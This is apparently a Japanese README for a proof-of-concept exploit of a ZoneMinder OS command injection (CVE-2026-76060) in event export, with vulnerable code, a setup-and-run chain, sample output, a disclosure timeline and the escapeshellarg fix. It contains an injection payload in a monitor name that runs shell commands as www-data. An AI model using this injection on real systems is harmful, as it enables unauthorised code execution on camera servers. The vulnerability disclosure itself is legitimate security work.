investigato/cve-2026-76060_zoneminder_commandinjection-pocCVE-2026-76060の概念実証エクスプロイト。ZoneMinderのイベントエクスポートにおけるOSコマンドインジェクションであり、細工されたモニター名を介したRCEを実証します。
ZoneMinderのイベントエクスポート機能（web/includes/download_functions.php）におけるOSコマンドインジェクション脆弱性の概念実証です。
モニター名は、escapeshellarg() の代わりに手動のシングルクォートラップを使用してシェルコマンドに直接挿入されます。モニターを作成できる攻撃者は、任意のユーザーがイベントエクスポートをトリガーした際に、www-data（またはプロセスを実行しているユーザー）として実行される任意のシェルコマンドを注入できます。
44c5c3c — ここで download_functions.php ファイルが導入されました。コミットメッセージは「Introduce new download mode that concats event videos into 1 file per monitor.」です。脆弱なコードはここに存在しますが、最初にモニターを作成するには管理者権限が必要でした。2d49e93 — 「Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.」ここで状況が少し変わります。Monitors=Create 権限のみを持つユーザーが攻撃用のモニター名を設定でき、エクスポート権限を持つ任意のユーザーがそれをトリガーできます。影響を受けるバージョン: >= 1.37.48（SQLマイグレーションの変更を含む）かつ <= 1.38.1 1.36.x ブランチは影響を受けません。
2人のユーザー。2つの権限レベル。1つのシェル。
Monitors=Create 権限を持ちます（既にモニターが存在する場合は Monitors=Edit 権限）。イベントレコードを手動で作成する必要はありません。ZoneMinderはカメラシステムです...カメラが動作すると自動的にイベントレコードを作成します。実稼働環境でのセットアップ手順は次のとおりです: モニターを作成して、その場を離れるだけです。
サニタイズされていないモニター名は、2つの別々の exec() 呼び出しに到達します。
126行目 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
150行目 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
エクスポート形式に関係なく、どちらも同じように細工されたモニター名から到達可能です。
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# ZoneMinderの初期化が完了するのを待ちます（約30秒）
uv run poc.py
init.sql は、認証を有効にした状態でデータベースをブートストラップし、2人のユーザーを作成します:
medpriv — モニター作成権限を持つ（時間短縮のためイベント作成権限も持つが、実稼働環境では不要）lowpriv — イベントエクスポートアクセスのみuv run poc.py は完全なチェーンを実行します:
medpriv がAPI経由で認証し、poc'; touch /tmp/pwned; echo ' という名前のモニターを作成medpriv がデモを高速化するためにイベントレコードを作成（実稼働環境ではZoneMinderが自動的に実行）lowpriv が認証し、イベントエクスポートをトリガー/tmp/pwned をチェックし、結果を出力期待される出力:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nいずれにせよ、最低限 escapeshellarg() を適用するコストはゼロです。
b3a7c05 で修正[!NOTE] 報告から12時間以内に修正されました。メンテナーからセキュリティ問題であるとの認識は得られませんでした。私は同意しません。 2026年8月27日更新 - メンテナーが報告を認識し、CVEが発行されました。
最低限、両方のインジェクションポイントに escapeshellarg() を適用します:
// 126行目
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// 150行目
$command .= ' '.escapeshellarg($mergedFileName);
generateFileList() の116行目と211行目にも同じパターンがあります。
発見者: (@investigato)
完全な解説: scriptkittens.com